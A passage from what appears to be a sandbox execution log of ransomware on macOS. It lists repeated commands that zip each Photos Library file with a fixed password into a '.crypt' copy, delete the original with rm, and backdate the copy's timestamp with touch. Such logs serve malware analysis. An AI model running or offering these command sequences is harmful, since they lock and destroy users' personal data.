  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
  2⤵
  PID:617
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
  2⤵
  PID:618
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
  2⤵
  PID:618
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj.crypt"
  2⤵
  PID:619
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
  2⤵
  PID:620
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
  2⤵
  PID:621
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
  2⤵
  PID:621
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist.crypt"
  2⤵
  PID:622
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
  2⤵
  PID:623
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
  2⤵
  PID:624
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
  2⤵
  PID:624
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist.crypt"
  2⤵
  PID:625
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
  2⤵
  PID:626
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
  2⤵
  PID:627
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
  2⤵
  PID:627
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist.crypt"
  2⤵
  PID:628
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
  2⤵
  PID:629
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
  2⤵
  PID:630
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
  2⤵
  PID:630
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj.crypt"
  2⤵
  PID:631
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
  2⤵
  PID:632
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
  2⤵
  PID:633
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
  2⤵
  PID:633
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj.crypt"
  2⤵
  PID:634
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
  2⤵
  PID:635
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
  2⤵
  PID:636
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
  2⤵
  PID:636
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj.crypt"
  2⤵
  PID:637
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
  2⤵
  PID:638
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
  2⤵
  PID:639
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
  2⤵
  PID:639
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist.crypt"
  2⤵
  PID:640
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
  2⤵
  PID:641
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
  2⤵
  PID:642
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
  2⤵
  PID:642
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj.crypt"
  2⤵
  PID:643
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
  2⤵
  PID:644
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
  2⤵
  PID:645
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
  2⤵
  PID:645
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist.crypt"
  2⤵
  PID:646
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
  2⤵
  PID:647
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
  2⤵
  PID:648
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
  2⤵
  PID:648
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj.crypt"
  2⤵
  PID:649
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
  2⤵
  PID:650
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
  2⤵
  PID:651
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
  2⤵
  PID:651
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj.crypt"
  2⤵
  PID:652
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
  2⤵
  PID:653
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
  2⤵
  PID:654
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
  2⤵
  PID:654
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist.crypt"
  2⤵
  PID:655
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
  2⤵
  PID:656
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
  2⤵
  PID:657
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
  2⤵
  PID:657
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist.crypt"
  2⤵
  PID:658
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
  2⤵
  PID:659
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
  2⤵
  PID:660
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
  2⤵
  PID:660
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj.crypt"
  2⤵
  PID:661
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
  2⤵
  PID:662
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
  2⤵
  PID:663
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
  2⤵
  PID:663
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj.crypt"
  2⤵
  PID:664
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
  2⤵
  PID:665
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
  2⤵
  PID:666
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
  2⤵
  PID:666
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist.crypt"
  2⤵
  PID:667
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
  2⤵
  PID:668
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
  2⤵
  PID:669
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
  2⤵
  PID:669
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj.crypt"
  2⤵
  PID:670
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
  2⤵
  PID:671
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
  2⤵
  PID:672
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
  2⤵
  PID:672
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist.crypt"
  2⤵
  PID:673
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
  2⤵
  PID:674
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
  2⤵
  PID:675
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
  2⤵
  PID:675
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist.crypt"
  2⤵
  PID:676
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
  2⤵
  PID:677
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
  2⤵
  PID:678
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
  2⤵
  PID:678
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist.crypt"
  2⤵
  PID:679
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
  2⤵
  PID:680
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
  2⤵
  PID:681
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
  2⤵
  PID:681
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj.crypt"
  2⤵
  PID:682
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
  2⤵
  PID:683
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
  2⤵
  PID:684
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
  2⤵
  PID:684
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist.crypt"
  2⤵
  PID:685
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
  2⤵
  PID:686
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
  2⤵
  PID:687
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
  2⤵
  PID:687
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
  2⤵
  PID:688
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
  2⤵
  PID:689
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
  2⤵
  PID:689
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/originals.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/originals"
  2⤵
  PID:690
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/originals"
  2⤵
  PID:691
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/originals"
  2⤵
  PID:691
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private"
  2⤵
  PID:692
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private"
  2⤵
  PID:693
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private"
  2⤵
  PID:693
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
  2⤵
  PID:694
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
  2⤵
  PID:695
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
  2⤵
  PID:695
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
  2⤵
  PID:696
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
  2⤵
  PID:697
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
  2⤵
  PID:697
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist.crypt"
  2⤵
  PID:698
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
  2⤵
  PID:699
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
  2⤵
  PID:700
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
  2⤵
  PID:700
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
  2⤵
  PID:701
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
  2⤵
  PID:702
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
  2⤵
  PID:702
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
  2⤵
  PID:703
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
  2⤵
  PID:704
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
  2⤵
  PID:704
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable.crypt"
  2⤵
  PID:705
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
  2⤵
  PID:706
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
  2⤵
  PID:707
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
  2⤵
  PID:707
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00.crypt"
  2⤵
  PID:708
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
  2⤵
  PID:709
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
  2⤵
  PID:710
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
  2⤵
  PID:710
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
  2⤵
  PID:711
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
  2⤵
  PID:712
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
  2⤵
  PID:712
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
  2⤵
  PID:713
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
  2⤵
  PID:714
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
  2⤵
  PID:714
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
  2⤵
  PID:715
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
  2⤵
  PID:716
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
  2⤵
  PID:716
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
  2⤵
  PID:717
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
  2⤵
  PID:718
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
  2⤵
  PID:718
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite.crypt"
  2⤵
  PID:719
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
  2⤵
  PID:720
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
  2⤵
  PID:721
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
  2⤵
  PID:721
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist.crypt"
  2⤵
  PID:722
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
  2⤵
  PID:723
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
  2⤵
  PID:724
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
  2⤵
  PID:724
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite.crypt"
  2⤵
  PID:725
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
  2⤵
  PID:726
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
  2⤵
  PID:727
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
  2⤵
  PID:727
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal.crypt"
  2⤵
  PID:728
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
  2⤵
  PID:729
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
  2⤵
  PID:730
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
  2⤵
  PID:730
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal.crypt"
  2⤵
  PID:731
- /usr/bin/zip
